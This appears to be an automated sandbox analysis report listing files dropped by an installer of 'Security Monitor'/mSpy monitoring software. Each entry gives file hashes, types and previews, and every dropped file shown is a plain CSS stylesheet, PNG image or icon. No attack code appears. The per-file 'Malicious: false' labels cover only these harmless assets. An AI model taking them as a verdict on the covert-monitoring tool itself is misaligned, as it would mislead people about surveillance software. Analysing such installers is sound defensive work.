Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-GTEAT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-HQ5K3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-HQP5I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-MTML6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-NDCLE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-OVOBQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-VDV7M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\main.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\mspy_products_home_slide1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\photo1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\print.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\reset.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\widgets.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
